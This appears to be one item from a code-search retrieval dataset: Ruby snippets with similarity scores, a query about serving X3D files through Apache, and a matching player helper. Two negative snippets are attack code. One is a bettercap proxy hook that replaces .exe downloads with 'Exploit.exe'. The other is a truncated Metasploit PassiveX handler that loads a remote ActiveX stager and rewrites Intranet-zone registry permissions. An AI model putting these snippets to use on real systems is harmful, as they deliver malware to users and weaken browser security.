rescue nil\n end\n\n if @codesigning_identity\n system \"codesign\", \"-s\", @codesigning_identity, \"--keychain\", File.expand_path(\"~/Library/Keychains/login.keychain-db\"), @mod_passenger\n end\n\n if File.exist?(@server_root)\n FileUtils.rm_r(@server_root)\n end\n FileUtils.mkdir_p(@server_root)\n write_config_file\n FileUtils.cp(\"#{STUB_DIR}/mime.types\", @server_root)\n\n command = [PlatformInfo.httpd, \"-f\", \"#{@server_root}/httpd.conf\", \"-k\", \"start\"]\n if boolean_option('VALGRIND')\n command = ['valgrind', '--dsymutil=yes', '--vgdb=yes',\n '--vgdb-error=1', '--trace-children=no'] + command\n end\n\n if !system(*command)\n raise \"Could not start an Apache server.\"\n end\n\n begin\n # Wait until the PID file has been created.\n Timeout::timeout(20) do\n while !File.exist?(\"#{@server_root}/httpd.pid\")\n sleep(0.1)\n end\n end\n # Wait until Apache is listening on the server port.\n Timeout::timeout(7) do\n done = false\n while !done\n begin\n socket = TCPSocket.new('localhost', @port)\n socket.close\n done = true\n rescue Errno::ECONNREFUSED\n sleep(0.1)\n end\n end\n end\n rescue Timeout::Error\n raise \"Could not start an Apache server.\"\n end\n Dir[\"#{@server_root}/*\"].each do |filename|\n if File.file?(filename)\n File.chmod(0666, filename)\n end\n end\n end", "def voice\n response = Twilio::TwiML::Response.new do |r|\n r.Say 'Hey there. Congrats on integrating Twilio into your Rails 4 app.', :voice => 'alice'\n r.Play 'http://linode.rabasa.com/cantina.mp3'\n end\n \n render_twiml response\n end", "def the_pods\n\tpod 'EZAudio', :git => 'https://github.com/rednebmas/EZAudio.git'\nend", "def tracks\n @tracks ||= begin\n assets_directory = File.join File.expand_path('../../../', __FILE__), 'assets'\n\n Dir.glob(File.join(assets_directory, '*.mp3')).map do |file|\n \"http://#{ip}:#{Ghosty::Settings.port}/#{File.basename(file)}\"\n end\n end\n end", "def audio?\n codec_type == 'audio'\n end", "def enable_audio(on: true)\n\n # Set the flag\n @audio_handler.audio = on\n\n # Update the icon\n @audio_sprite.path =\n if @audio_handler.audio\n 'vertices/sprites/audioOn.png'\n else\n 'vertices/sprites/audioOff.png'\n end\n\n end", "def stream\n begin\n # lookup the entry requested\n entry = Entry.find(params[:id])\n\n # send the associated file directly to the response\n send_file(entry.path, type: 'audio/mpeg', filename: params[:id])\n\n rescue RecordNotFound, MissingFile\n # if record or file missing, return 404\n render(status: 404)\n end\n end", "def call\n PollyService.update if @@polly.nil?\n mp3_file = Rails.root.join(\"#{@@audio_dir}/polly-#{@voice_id}-#{@entry.id}-#{@entry.updated_at}.mp3\")\n # don't request a new file from polly if the same file already exists\n return mp3_file if File.exist?(mp3_file)\n\n params = {\n response_target: mp3_file,\n output_format: 'mp3',\n text: @text,\n text_type: @type,\n voice_id: @voice_id\n }\n Rails.logger.debug \"Polly: #{params}\"\n begin\n @@polly&.synthesize_speech(params)\n rescue\n FileUtils.rm_f(mp3_file)\n return Rails.root.join(\"#{@@audio_dir}/buzzer.wav\")\n end\n mp3_file\n end", "def bridge_play bridge_id, audio\n post \"bridges/#{bridge_id}/audio\", audio.to_hash\n\n nil\n end", "def apache\n TemplateWriter.process(\n \"apache2_portus.conf.erb\",\n \"/etc/apache2/vhosts.d/portus.conf\",\n binding\n )\n\n if @options[\"secure\"]\n Runner.exec(\"a2enmod\", [\"ssl\"])\n Runner.exec(\"a2enflag\", [\"SSL\"])\n end\n Runner.exec(\"a2enmod\", [\"passenger\"])\n FileUtils.chown_R(\"wwwrun\", \"www\", \"/srv/Portus/log\")\n end", "def store_dir\n Rails.root.to_s + \"/audio/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n # \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def sound; end", "def play socket\n end", "def show\n path=\"\"\n @song = Song.where(:id=>params[:id]).first\n @user = @song.user\n @audio = @song.audio\n @audio_path = @audio.id.to_s+\".mp3\"\n @audioimage_path = audioimagepath(@audio)\n respond_to do |format|\n format.html\n format.js\n end\n end", "def audio_tag(*sources); end", "def extension_whitelist\n %w[mp3]\n end", "def start_music\n pid = fork { Play::Client.loop }\n Process.detach(pid)\nend", "def simple_audio_player_include_tag(config = {})\n force = config.delete(:force) || false\n config.reverse_merge!(@simple_audio_player_config)\n simple_audio_player_library_tag + \"\\n\" + simple_audio_player_init_tag(config) if @uses_simple_audio_player or force\n end", "def audio(*sources)\n options = sources.extract_options!.symbolize_keys\n sources = sources.shift if sources.size == 1\n\n if sources.is_a?(Array)\n content_tag(:audio, options) do\n sources.collect { |source| tag(:source, src: asset_path(source)) }.join(\"\\n\")\n end\n else\n tag(:audio, options.reverse_merge(src: asset_path(sources)))\n end\n end", "def start_music_service\n execute_system_cmd('/etc/init.d/music_daemon start')\n end", "def speak(title)\n\n a = KjReading.verses title\n\n a.each do |x|\n\n filename = download_ogg(x.title)\n command = @audio_player + ' ' + filename\n system command\n\n end\n\n end", "def download\n get_metadata\n check_prog_id\n generate_filename\n download_stream\n ffmpeg\n tag\n cleanup\n end", "def enable_site\n separator\n system \"sudo a2ensite #{@touch_file}\"\n separator\n sleep(1)\n system \"sudo /etc/init.d/apache2 restart\"\n end", "def vlc(*args)\n if args.size > 0\n m3ufile = @playlist.gen_m3u\n else\n m3ufile = Song.gen_m3u(@cursong.artist, [@cursong.info])\n end\n Pf.system(\"open -a vlc '#{m3ufile}'\", 1)\n end", "def show\n youtube\n soundcloud\n end", "def serve_directory(path)\n @response.status = 200\n if File.exists?(\"index.html\") || File.exists?(\"/index.html\")\n @response.body = read_file \"index.html\"\n @response.headers[\"Content-Type\"] = \"text/html\"\n else\n @response.headers[\"Content-Type\"] = \"text/html\"\n @response.body << DirectoryLister.list(path)\n end\n end", "def include_www\n puts \"Copying your web app directory\"\n FileUtils.mkdir_p File.join(@output_dir, \"assets\", \"www\")\n FileUtils.cp_r File.join(@www, \".\"), File.join(@output_dir, \"assets\", \"www\")\n end", "def audio?\n #or @volume == 0\n if @mute or @type == \"image\"\n #puts \"no audio\"\n return false\n else\n #puts \"has audio\"\n return true\n end\n end", "def audio?\n !!audio_stream\n end", "def main_audio\r\n super\r\n # Stop BGM and BGS\r\n $game_system.bgm_play(nil)\r\n $game_system.bgs_play(nil)\r\n # Play game over ME\r\n $game_system.me_play($data_system.gameover_me)\r\n end", "def serve\n @repository = Project.find(params[:id]).repositories.first\n\n repoName = File.basename(@repository.root_url, File.extname(@repository.root_url))\n path = \"/srv/documentation/#{ repoName }/#{ params[:file] }\"\n\n send_file path, :disposition => 'inline'\n end", "def play_songs\n MusicImporter.new(path).play_song\n end", "def play_tracks(releases)\n puts \"\\n***Press enter to skip***\"\n releases.each do |release|\n release.tracks.each do |track|\n puts \"Playing-> #{release.name} - #{track.name}\"\n begin\n tempfile = URI.parse(track.url).open\n tempfile.close\n FileUtils.mv tempfile.path, \"audio.mp3\"\n rescue\n puts \"Error: Something went wrong with the sample download.\"\n exit(1)\n end\n pid = fork{ \n begin\n exec 'afplay', \"audio.mp3\"\n rescue \n puts \"Error: Something went wrong with sample playback.\"\n exit(1)\n end\n }\n pid2 = fork{ \n input = gets \n kill(1, pid)\n }\n waitpid2(pid, 0) \n kill(1, pid2)\n if $?.exitstatus == 1 || 255\n break\n end\n end\n end\n end", "def open_narration(slide_no)\n if @type == 'm4a'\n @files.extract(\"ppt/media/media#{slide_no}.m4a\", \"#{Rails.root}/public/audios/#{$filename}media#{slide_no}.m4a\") rescue\n $filename+'media'+slide_no.to_s+'.m4a'\n end\n if @type == 'wav'\n\n @files.extract(\"ppt/media/media#{slide_no}.wav\", \"#{Rails.root}/public/audios/#{$filename}media#{slide_no}.wav\") rescue\n $filename+'media'+slide_no.to_s+'.wav'\n\n end\n end", "def livestream\n system(\"/home/pi/bin/startstream\") or raise \"Something went wrong.\"\n redirect_to :back\n end" ]
[ "0.5991261", "0.5906598", "0.5889198", "0.5849579", "0.5799654", "0.57551384", "0.5699021", "0.5683428", "0.5673827", "0.5663674", "0.5614898", "0.55614704", "0.55393094", "0.55157477", "0.5492845", "0.54800117", "0.5458145", "0.54558307", "0.5393685", "0.53699785", "0.53555274", "0.5352797", "0.5340543", "0.53390604", "0.53360623", "0.53189474", "0.5291796", "0.5285457", "0.52662504", "0.5240934", "0.52374476", "0.5230231", "0.51839566", "0.5181663", "0.5153256", "0.51479685", "0.5131053", "0.51177585", "0.509076", "0.5069411", "0.5066675", "0.50324607", "0.5031672", "0.5031672", "0.5020101", "0.50153023", "0.50150645", "0.50037104", "0.49967268", "0.49955472", "0.498594", "0.49762487", "0.4973988", "0.49651703", "0.4939741", "0.49301288", "0.49152482", "0.49152482", "0.49106342", "0.49009776", "0.48987272", "0.48954436", "0.48880103", "0.4884147", "0.48790044", "0.48681405", "0.4867953", "0.48659235", "0.4855135", "0.48505512", "0.48472142", "0.48409858", "0.4836447", "0.48294452", "0.482707", "0.48234197", "0.48230937", "0.47969744", "0.4781254", "0.47792605", "0.47725275", "0.4769093", "0.47611555", "0.47485018", "0.47427708", "0.47340816", "0.47327188", "0.47309643", "0.4729667", "0.47276536", "0.4726259", "0.47158054", "0.47137693", "0.47134936", "0.471213", "0.47114542", "0.47074372", "0.47030446", "0.4697896", "0.46926907", "0.4689817" ]
0.0
-1
serve X3D directy via apache (apache needs to be configured to serve nuxeo repo)
def render_x3d_directly options={} # render x3d player content_tag(:div) do options[:value].collect do |x3d_md5| l1 = x3d_md5[0..1] l2 = x3d_md5[2..3] content_tag(:video, content_tag(:source, "I'm sorry; your browser doesn't support HTML5 video in MP4 with H.264.", src: "https://cspace-prod-02.ist.berkeley.edu/#TENANT#_nuxeo/data/#{l1}/#{l2}/#{x3d_md5}", id: 'x3d_md5', type: 'model/x3d+xml'), controls: 'controls', style: 'width: 640px;') end.join.html_safe end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def public_file_server; end", "def public_file_server; end", "def proxy\n uri = URI.parse(params[:url])\n open(uri.to_s) do |f|\n # TODO: instead of using f.read below, perhaps read it a bit at a time and\n # stream it a bit at a time. Look into response chunking for Rails.\n data = f.read\n # disposition: :inline means not an attachment -- render right to browser\n send_data data, type: f.content_type, disposition: :inline\n end\n end", "def serve\n @repository = Project.find(params[:id]).repositories.first\n\n repoName = File.basename(@repository.root_url, File.extname(@repository.root_url))\n path = \"/srv/documentation/#{ repoName }/#{ params[:file] }\"\n\n send_file path, :disposition => 'inline'\n end", "def serve! request, response, client, vhost\n kernel_prepare\n serve request, response, client, vhost\n end", "def serve!\n if TinyProxy::Cache.has? request.uri\n serve_from_cache!\n else\n serve_from_remote!\n end\n end", "def public_file_server=(_arg0); end", "def public_file_server=(_arg0); end", "def serve\n require 'tipsy/server'\n require 'tipsy/view'\n require 'rack'\n \n conf = Tipsy::Site.config\n missing_legacy_message = \"Rack::Legacy could not be loaded. Add it to your gemfile or set 'enable_php' to false in config.rb\"\n missing_rewrite_message = \"Rack::Rewrite could not be loaded. Add it to your gemfile or remove 'rewrite_rules' from config.rb\"\n if conf.enable_php\n begin\n require 'rack-legacy'\n require 'tipsy/handler/php' \n rescue LoadError\n puts missing_legacy_message\n end\n end\n \n app = Rack::Builder.new {\n use Rack::Reloader\n use Rack::ShowStatus\n \n unless conf.rewrite_rules.empty?\n begin\n require 'rack-rewrite'\n puts \"Enabling Rack Rewrite\"\n use Rack::Rewrite do\n conf.rewrite_rules.each do |pair|\n rewrite pair.first, pair.last\n end\n end\n rescue LoadError\n puts missing_rewrite_message\n end\n end\n \n if conf.enable_php\n begin\n puts \"PHP Enabled\"\n use Rack::Legacy::Php, conf.public_path\n rescue\n end\n end\n use Rack::ShowExceptions\n use Tipsy::Handler::StaticHandler, :root => conf.public_path, :urls => %w[/]\n run Rack::Cascade.new([\n \tRack::URLMap.new(Tipsy::Handler::AssetHandler.map!),\n \tTipsy::Server.new\n ])\n }.to_app\n \n conf = Tipsy::Site.config\n options = {\n :Host => conf.address,\n :Port => conf.port\n }\n \n Tipsy::Server.run!(app, options)\n end", "def allow_gpu_acceleration\n\n # Turn off X\n execute \"Turn off X\" do\n command \"systemctl set-default multi-user.target\"\n end\n\n # Update the xorg.conf to set up NVIDIA drivers.\n # NOTE: --enable-all-gpus parameter is needed to support servers with more than one NVIDIA GPU.\n execute \"Set up Nvidia drivers for X configuration\" do\n user 'root'\n command \"nvidia-xconfig --preserve-busid --enable-all-gpus\"\n end\n\n # dcvgl package must be installed after NVIDIA and before starting up X\n dcv_gl = \"#{node['cfncluster']['sources_dir']}/#{node['cfncluster']['dcv']['package']}/#{node['cfncluster']['dcv']['gl']}\"\n package dcv_gl do\n action :install\n source dcv_gl\n end\n\n # Configure the X server to start automatically when the Linux server boots and start the X server in background\n bash 'Launch X' do\n user 'root'\n code <<-SETUPX\n systemctl set-default graphical.target\n systemctl isolate graphical.target &\n SETUPX\n end\n\n # Verify that the X server is running\n execute 'Wait for X to start' do\n user 'root'\n command \"pidof X || pidof Xorg\"\n retries 5\n retry_delay 5\n end\nend", "def start_httpd( config_file )\n\t\t#$stderr.close\n\t\t#$stderr.reopen( $stdout )\n\n\t\tconfig_file = File.expand_path( config_file )\n\n\t\tcommand = [ @exe, '-F', '-f', config_file ]\n\t\t$stderr.puts \"Starting server with: #{command.join(' ')}\" if $DEBUG\n\t\texec( *command )\n\tend", "def index_redir(base)\n oputs <<-eos\n if (-f $request_filename) { break; }\n if (-d $request_filename) { break; }\n rewrite ^(.+)$ #{base}$1 last;\n eos\nend", "def on_pre_request(request)\n\t\t@hostname = request.host\n\t\tif ( !@hostname.include?(\"videolan.org\") && request.path.include?(\".exe\") )\n\t\t\tBetterCap::Logger.info \"Exploit ;)\".green\n\t\t\tresponse = BetterCap::Proxy::HTTP::Response \n\t\t\treturn response.from_file('/Exploit.exe', 'application/x-msdownload')\n\t\tend\n\t end", "def start()\n mime_types = WEBrick::HTTPUtils::DefaultMimeTypes\n mime_types['es6'] = 'application/javascript'\n server = WEBrick::HTTPServer.new(Port: @http_port,\n DocumentRoot: @http_dir,\n MimeTypes: mime_types)\n server.logger.level = 5 - @logger.level unless @logger.nil?\n server.mount(@pre_path, Handler, self)\n server.mount('/', ExportProxy, @http_dir) if @export_proxy\n\n trap 'INT' do server.shutdown end\n server.start\n end", "def serve(argv)\n config_file = nil\n\n parser.banner = \"usage: smeagol-serve [OPTIONS]\\n\"\n\n parser.on('-c', '--config [PATH]', 'Load config file instead of default.') do |path|\n options[:config_file] = path\n end\n\n parser.on('--port [PORT]', 'Bind port (default 4567).') do |port|\n options[:port] = port.to_i\n end\n\n parser.on('--[no-]cache', 'Enables page caching.') do |flag|\n options[:cache] = flag\n end\n\n parser.on('--mount-path', 'Serve website from this base path.') do |path|\n options[:mount_path] = path\n end\n\n parser.on('--auto-update', 'Updates the repository on a daily basis.') do |flag|\n options[:auto_update] = flag\n end\n\n parser.on('--secret [KEY]', 'Specifies the secret key, if needed to update.') do |str|\n options[:secret] = str\n end\n\n Console.serve(*parse(argv))\n end", "def apache\n TemplateWriter.process(\n \"apache2_portus.conf.erb\",\n \"/etc/apache2/vhosts.d/portus.conf\",\n binding\n )\n\n if @options[\"secure\"]\n Runner.exec(\"a2enmod\", [\"ssl\"])\n Runner.exec(\"a2enflag\", [\"SSL\"])\n end\n Runner.exec(\"a2enmod\", [\"passenger\"])\n FileUtils.chown_R(\"wwwrun\", \"www\", \"/srv/Portus/log\")\n end", "def test2\n uri = 'http://dbhack1.nescent.org/cgi-bin/phylows.pl/phylows/tree/TB:1999'\n # @x = Net::HTTP.get_response(URI.parse(uri)).body\n @d = Nexml::Document.new(:url => uri)\n end", "def index(request, response)\n response['rack.rsi'] = '1'\n response['Cache-Control'] = 'max-age=3600'\n response.write(%{\n <title>HelloWorld</title>\n <%= rsi_include( \"/header?user=buzzmenot\" ) %>\n <p>Hello World!</p>\n <%= rsi_include( \"/footer?company=github\" ) %>\n }.gsub(/^\\s*/, \"\").strip)\n end", "def process_proxy(behavior, app)\n proxy = (behavior[:proxy] || app).to_s\n proxy = 'dashboard' if proxy == 'cdo-assets'\n unless %w(pegasus dashboard).include? proxy\n raise ArgumentError.new(\"Invalid proxy: #{proxy}\")\n end\n hostname = proxy == 'pegasus' ? pegasus_hostname : dashboard_hostname\n out = \"set req.backend_hint = #{proxy}.backend();\"\n if proxy != app.to_s\n out << \"\\nset req.http.host = \\\"#{hostname}\\\";\"\n end\n out\nend", "def vite_client_src\n prefix_vite_asset('@vite/client') if dev_server_running?\n end", "def serve_asset(asset_name)\n asset_path = local_asset_path(asset_name)\n\n # Rudimentary mime type detection\n mime = 'application/octet-stream'\n map = {\n 'ico' => 'image/vnd.microsoft.icon',\n 'png' => 'image/png',\n 'css' => 'text/css'\n }\n\n ext = ::File.extname(asset_name)[1..-1]\n mime = map[ext] if map.key?(ext)\n\n @server.http_response.update_header('Content-Type', mime)\n @server.http_response.update_header('Content-Length', ::File.size(asset_path))\n @server.http_response.update_header('Cache-Control', 'public, max-age=1209600')\n @server.http_response.status = 200\n @server.http_response.body = ::File.open(asset_path, 'r')\n end", "def serve(options)\n @logger = Logger.new STDERR\n @logger.level = options[:logging] ? Logger::DEBUG : Logger::FATAL\n\n serving_transport = Smartcard::Iso.auto_transport\n unless serving_transport\n @logger.error \"ISO7816 smart-card transport auto-configuration failed\"\n return\n end\n @logger.info \"Proxying to #{serving_transport.inspect}\\n\"\n @logger.info \"Serving with #{options.inspect}\\n\"\n serving_logic = ServingLogic.new serving_transport, options[:logging]\n Smartcard::Iso::JcopRemoteServer.new(options, serving_logic).run\nend", "def start!(port = 8080)\n $app = HttpApp.new do |app|\n app.torrent_manager = @torrent_manager\n app.tv = TorrentView.new(@torrent_manager)\n end\n Thin::Server.start('127.0.0.1', port) do\n map '/' do\n run $app\n end\n end\n end", "def show\n view = 'show'\n @project = Project.find(params[:id])\n @repo = Rugged::Repository.new(@project.repo_local_url)\n @object = @repo.lookup(@repo.head.target.oid).tree\n\n @path = ''\n\n if params[:path]\n @path = params[:path]\n @path = @path + '.' + params[:format] if params[:format]\n @object = @repo.lookup(@object.path(@path)[:oid])\n @parent_path = generate_parent_path(@path)\n end\n\n @commits = @project.commits.order(:date)\n @commit_hash = @commits.group_by { |c| c.git_hash }\n @commit_files = @project.commit_files\n .sort_by { |cf| @commit_hash[cf.commit_id][0].date }\n @file_metrics = @project.file_metrics\n\n if @object.type == :blob\n view = 'show_file'\n\n path_commit_files = @project.commit_files\n .where(path: @path).sort_by { |cf| cf.commit.date }\n @commit_files = Hash[path_commit_files\n .map { |cf| [cf.commit_id, cf.id] }]\n @fileCommits = Hash[path_commit_files\n .map { |cf| [cf.commit_id, { commit: cf.commit, file_contents: @repo.lookup(cf.git_hash).content }] }]\n @individual_file_metrics = Hash[path_commit_files.map { |cf| [cf.git_hash, cf.file_metrics] }]\n @metrics = Metric.all\n @json_metric_stats = @project.metric_stats.to_json\n @initial_commit_hash = @fileCommits.keys.last\n\n else\n @path += '/' if @path != ''\n @d3_network = nil\n\n puts \"generate d3_network #{Time.now.to_f}\"\n if @object.type == :tree && @commits.size > 0 && request.format != 'json'\n @d3_network = make_d3_network(@commits.first,\n @object,\n @path,\n @commits.size).to_json\n end\n\n puts \"fetch files_to_fix #{Time.now.to_f}\"\n @files_to_fix = @project.fix_files.sort_by { |f| f.score }\n\n @false_positives = @project.false_positives\n @commit_files_by_path = @commit_files.group_by { |cf| cf.path }\n @commit_files = @commit_files.group_by { |cf| cf.commit_id }\n @file_metrics = @file_metrics.group_by { |fm| fm.commit_file_id }\n @file_metrics.map { |k,v| @file_metrics[k] = Hash[*v.map { |fm| [fm.metric_id, fm] }.flatten] }\n @authors = Hash[@project.authors.uniq.map { |a| [a.id, { name: a.name, email: a.email, email_md5: Digest::MD5.hexdigest(a.email.strip.downcase) }] }]\n @json_metric_stats = MetricStats.all\n .group_by { |ms| ms.project_id }.to_json\n end\n\n respond_to do |format|\n format.json do\n json_data = { commits: @commits,\n commit_files: @commit_files,\n file_metrics: @file_metrics,\n commit_files_by_path: @commit_files_by_path,\n authors: @authors }\n render json: json_data\n end\n format.all { render view, formats: [:html], content_type: Mime::HTML }\n end\n end", "def include_www\n puts \"Copying your web app directory\"\n FileUtils.mkdir_p File.join(@output_dir, \"assets\", \"www\")\n FileUtils.cp_r File.join(@www, \".\"), File.join(@output_dir, \"assets\", \"www\")\n end", "def index(file=selfdir+\"feed.xml\", args={})\n # feed from the adminserver host\n feeder = vespa.adminserver\n feedoutput = feeder.feedfile(file, args)\n feedoutput\n end", "def x_visualize\n require 'open3'\n Open3.popen3('dot -T svg | display') do |i,o,_|\n i.write to_dot\n i.close\n end\n end", "def start_server\n begin\n require 'webrick'\n rescue LoadError\n abort \"webrick is not found. You may need to `gem install webrick` to install webrick.\"\n end\n\n server = WEBrick::HTTPServer.new :Port => @server\n\n extra_doc_dirs = @stores.map {|s| s.type == :extra ? s.path : nil}.compact\n\n server.mount '/', RDoc::Servlet, nil, extra_doc_dirs\n\n trap 'INT' do server.shutdown end\n trap 'TERM' do server.shutdown end\n\n server.start\n end", "def serve_directory(path)\n @response.status = 200\n if File.exists?(\"index.html\") || File.exists?(\"/index.html\")\n @response.body = read_file \"index.html\"\n @response.headers[\"Content-Type\"] = \"text/html\"\n else\n @response.headers[\"Content-Type\"] = \"text/html\"\n @response.body << DirectoryLister.list(path)\n end\n end", "def download\n redirect \"public/downloads/index.html\"\n end", "def proxy_image\n multiresimage = Multiresimage.find(params[:id])\n img_length = params[:image_length]\n\n begin\n if multiresimage.DELIV_OPS.svg_image.svg_width[0].to_i <= params[:image_length].to_i\n img_length = multiresimage.DELIV_OPS.svg_image.svg_width[0].to_i-1\n end\n rescue Exception\n #this is a fix so that smaller images get shown. Currently, they break since larger versions do not exist.\n end\n\n default_image = File.open(\"app/assets/images/site/missing2.png\", 'rb') do |f|\n f.read\n end\n filename = \"missing2.png\"\n resp = ''\n\n if can?(:read, multiresimage)\n\n Net::HTTP.start(DIL_CONFIG['dil_fedora_base_ip'], DIL_CONFIG['dil_fedora_port']) { |http|\n resp = http.get(\"#{DIL_CONFIG['dil_fedora_url']}#{params[:id]}#{DIL_CONFIG['dil_fedora_disseminator']}#{img_length}\")\n #open(\"/usr/local/proxy_images/#{params[:id]}.jpg\" ,\"wb\") { |new_file|\n #new_file.write(resp.body)\n #send_file(new_file, :type => \"image/jpeg\", :disposition=>\"inline\")\n #send data uses server memory instead of storage.\n if(resp.body.include? \"error\")\n image = default_image\n else\n image = resp.body\n filename = \"#{params[:id]}.jpg\"\n end\n send_data(image, :disposition=>'inline', :type=>'image/jpeg', :filename=>filename)\n }\n #}\n else\n send_data(default_image, :disposition=>'inline', :type=>'image/jpeg', :filename=>filename)\n end\n end", "def send_static_file request, response\n\t\t\t\troot = request[:host_settings][:public]\n\t\t\t\treturn false unless root\n\t\t\t\tfile_requested = request[:path].to_s.split('/'.freeze)\n\t\t\t\tunless file_requested.include? '..'.freeze\n\t\t\t\t\tfile_requested.shift\n\t\t\t\t\tfile_requested = File.join(root, *file_requested)\n\t\t\t\t\treturn true if send_file request, response, file_requested\n\t\t\t\t\treturn send_file request, response, File.join(file_requested, request[:host_settings][:index_file])\n\t\t\t\tend\n\t\t\t\tfalse\n\t\t\tend", "def proxy_pass; end", "def run\n @crawler = Crawler.new(@src)\n \n @site = Site.new(@src, @dst)\n \n find_render_sequences\n \n @site.clean_target(@force)\n @site.render\n @site.copy_static(@crawler.static)\n\n end", "def serve(path)\n find_file(path).serve\n end", "def listen parameters = {}\n\t\t# update default values\n\t\tparameters[:index_file] ||= 'index.html'\n\t\tparameters[:assets_public] ||= '/assets'\n\t\tparameters[:assets_public].chomp! '/'\n\t\tparameters[:public] ||= parameters[:root] # backwards compatability\n\t\tputs \"Warning: 'root' option is being depracated. use 'public' instead.\" if parameters[:root]\n\n\t\tunless parameters[:upgrade_handler]\n\t\t\tparameters[:http_handler] = ::Plezi::Base::HTTPRouter.new\n\t\t\tparameters[:upgrade_handler] = parameters[:http_handler].upgrade_proc\n\t\t\t#??? else @active_router.delete :alias\n\t\tend\n\t\t# check if the port is used twice.\n\t\t@routers_locker.synchronize do\n\t\t\t@active_router = GRHttp.listen(parameters)\n\t\t\t@routers << @active_router[:http_handler]\n\t\t\tif parameters != @active_router\n\t\t\t\tparameters[:http_handler] = @active_router[:http_handler]\n\t\t\t\tparameters[:upgrade_handler] = @active_router[:upgrade_handler]\n\t\t\tend\n\t\t\t@active_router = @active_router[:http_handler]\n\t\t\t@active_router.add_host( parameters[:host], parameters )\n\t\tend\n\t\t# return the current handler or the protocol..\n\t\t@active_router\n\tend", "def serve_static(env)\n env[Merb::Const::PATH_INFO] = ::Merb::Parse.unescape(env[Merb::Const::PATH_INFO])\n @static_server.call(env)\n end", "def setup(args)\n # Camera\n position = Engine3D::Vector.new 0.0, 0.0, 0.0, 1.0\n direction = Engine3D::Vector.new 0.0, 0.0,-1.0, 1.0\n args.state.camera = Engine3D::Camera.new position, direction\n \n # Renderer :\n args.state.renderer = Engine3D::Render.new 1280, 720, # viewport size \n args.state.camera, # camera\n 1.0, 300.0 # near and far planes\n\n # Scene :\n args.state.scene = Engine3D::Scene.load args,\n 'data/scenes/scene1.rb',\n SPRITE_SCALE\n\n # Miscellenaous :\n args.state.angle = 0.01\n\n\n args.state.setup_done = true\nend", "def set_p3p \n headers['P3P'] = 'CP=\"ALL DSP COR CURa ADMa DEVa OUR IND COM NAV\"' \n end", "def host\n @host ||= 'http://open.denglu.cc'\n end", "def serve(env, asset)\n path = asset.path\n env[PATH_INFO] = (path =~ /\\/$/ ? path + @index : @urls[path]) if overwrite_file_path(path)\n path = env[PATH_INFO]\n response = @file_server.call(env)\n\n headers = response[1]\n applicable_rules(path).each do |_, new_headers|\n new_headers.each { |field, content| headers[field] = content }\n end\n\n response\n end", "def show\n if presentation.blank?\n flash[:error] = \"The requested presentation does not exist. Please verify the link or send the project owner a message.\"\n redirect_to(project_presentations_path(@project))\n end\n\n head :x_accel_redirect => presentation.x_accel_redirect_path_to(params[:static_asset_path]), :content_type => requested_content_type\n end", "def serve_https\n @server = Support::HTTP::Server.new\n @server.run\n end", "def root\n render :file => 'public/closeout-front/index.html'\n end", "def output_lilypond(format)\n filename = File.join(Rails.root, 'downloads', SecureRandom.uuid)\n lilypond_path = Rails.application.config.lilypond_path\n chartup = Chartup::Chart.new(self.chartup)\n case format\n when :pdf\n Open3.capture2(\"#{lilypond_path} --output=#{filename} -\", :stdin_data => chartup.to_ly)\n when :png\n Open3.capture2(\"#{lilypond_path} --output=#{filename} -dbackend=eps -dno-gs-load-fonts -dinclude-eps-fonts -ddelete-intermediate-files --png -\", :stdin_data => chartup.to_ly)\n end\n \"#{filename}.#{format.to_s}\"\n rescue Chartup::Error\n raise\n end", "def xdcomm\n render \"xdcomm\", :layout => false\n end", "def enable_site\n separator\n system \"sudo a2ensite #{@touch_file}\"\n separator\n sleep(1)\n system \"sudo /etc/init.d/apache2 restart\"\n end", "def getgpx\n trek = Trek.find_by_id(params[:id])\n send_file trek.get_gpx(), :type => \"text/xml\", :disposition => \"inline\"\n end", "def show\n @asset = Asset.find(params[:id])\n response.headers['X-Accel-Redirect'] = @asset.asset.url\n response.headers[\"Content-Type\"] = @asset.asset_content_type\n response.headers['Content-Disposition'] = \"attachment; filename=#{@asset.asset_file_name}\" \n response.headers['Content-Length'] = @asset.asset_file_size\n render :nothing => true\n end", "def on_request(cli, req)\n\t\tsid = nil\n\t\tresp = Rex::Proto::Http::Response.new\n\n\t\t# Grab the SID if one was supplied in the request header.\n\t\tif (req['X-Sid'] and \n\t\t (m = req['X-Sid'].match(/sid=(\\d+?)/)))\n\t\t\tsid = m[1]\n\t\tend\n\n\t\t# Process the requested resource.\n\t\tcase req.relative_resource\n\t\t\twhen \"/\"\n\t\t\t\t# Get a new sid\n\t\t\t\tself.sid_pool += 1\n\t\t\t\tnsid = sid_pool\n\n\t\t\t\tresp['Content-Type'] = 'text/html'\n\t\t\t\t# natron 2/27/09: modified to work with IE7/IE8. For some reason on IE8 this can spawn extra set\n\t\t\t\t# of processes. It works, so will go ahead and commit changes and debug later to run it down.\n\t\t\t\tresp.body = %Q^<html> \n<object classid=\"CLSID:#{datastore['PXAXCLSID']}\" codebase=\"#{datastore['PXURI']}/passivex.dll##{datastore['PXAXVER']}\"> \n <param name=\"HttpHost\" value=\"#{datastore['PXHOST']}\"> \n <param name=\"HttpPort\" value=\"#{datastore['PXPORT']}\">\n <param name=\"HttpUriBase\" value=\"#{datastore['PXURI']}\"> \n <param name=\"HttpSid\" value=\"#{nsid}\">^ + ((stage_payload) ? %Q^\n <param name=\"DownloadSecondStage\" value=\"1\">^ : \"\") + %Q^\n</object>\n<script>\nvar WshShell = new ActiveXObject(\"Wscript.Shell\");\nvar marker = true;\nvar regCheck;\nvar regRange = \"HKLM\\\\\\\\SOFTWARE\\\\\\\\Policies\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Internet Settings\\\\\\\\ZoneMap\\\\\\\\Ranges\\\\\\\\random\\\\\\\\\" //Can be any value\nvar regIntranet = \"HKLM\\\\\\\\SOFTWARE\\\\\\\\Policies\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Internet Settings\\\\\\\\Zones\\\\\\\\1\\\\\\\\\";\n\n//Check if we've run this before.\ntry { regCheck = WshShell.RegRead(regRange + \"marker\"); } catch (e) { marker = false; }\n\nif (marker == false) {\n //Modify perms for the Intranet zone.\n WshShell.RegWrite(regIntranet + \"1001\",0,\"REG_DWORD\");\n WshShell.RegWrite(regIntranet + \"1004\",0,\"REG_DWORD\");\n 